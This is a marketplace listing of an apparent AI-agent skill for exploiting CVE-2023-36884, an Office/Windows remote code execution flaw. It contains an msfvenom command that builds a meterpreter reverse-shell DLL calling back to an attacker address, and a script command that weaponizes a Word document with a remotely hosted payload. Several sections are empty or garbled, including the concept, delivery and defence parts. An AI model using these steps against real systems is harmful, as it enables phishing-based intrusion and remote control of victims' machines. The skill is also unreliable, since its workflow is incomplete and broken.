skilly. Buy ad slot
All skills
Community / AGENT SKILL

cve-2023-36884-office-rce

ShulkwiSEC/bb-huge
0 installs 22 GitHub stars
0

Exploit CVE-2023-36884, a critical Remote Code Execution vulnerability in Windows and Office associated with the Storm-0978 APT. This skill covers the weaponization of malicious Word documents to achieve code execution upon opening, bypassing Mark-of-the-Web (MotW) defenses.

BEFORE YOU INSTALL

Understand the trade-offs.

SECURITY REVIEW

Not yet assessed

Review the original instructions and requested permissions before installing.

No security review is available for this catalog entry yet.

SKILL QUALITY

Not yet assessed

How clearly the skill guides your agent, how complete its workflow is, and how you can check the outcome.

No quality assessment is available for this catalog entry yet.

The full skill.

Original instructions from the publisher’s SKILL.md

# Exploiting CVE-2023-36884 (Office RCE)

## When to Use
- When conducting advanced Red Team operations where initial access relies on sophisticated spear-phishing campaigns.
- To demonstrate the impact of unpatched Office and Windows environments, especially regarding vulnerabilities actively exploited by Advanced Persistent Threats (APTs).


## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Understanding CVE-2023-36884

```text
# Concept: CVE-2023-36884 ```

### Phase 2: Payload Generation

```bash
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll > payload.dll
```

### Phase 3: Weaponizing the Office Document

```bash
# python3 weaponize_doc.py -t template.docx -p payload.dll -u http://10.10.10.10/payload.dll -o malicious.docx
```

### Phase 4: Delivery and Execution

```text
# ```

#### Decision Point πŸ”€
```mermaid
flowchart TD
    A[Craft Document ] --> B{MotW Bypassed ]}
    B -->|Yes| C[Achieve Execution ]
    B -->|No| D[Modify Payload ]
```

## πŸ”΅ Blue Team Detection & Defense
- **Patch Management**: **Attack Surface Reduction (ASR)**: **MotW Enforcement**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Cve 2023 36884 Office Rce β€” Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] β€” [Brief description]
  [Finding 2]: [Severity] β€” [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## πŸ“š Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) β€” Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) β€” HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) β€” Verified disclosed bounties by vulnerability class

## References
- MSRC: [CVE-2023-36884 - Office and Windows HTML Remote Code Execution Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884)
- Microsoft Security Blog: [Storm-0978 attacks reveal financial and espionage motives](https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/)

Skill folder

Files included alongside SKILL.md in the publisher’s repository.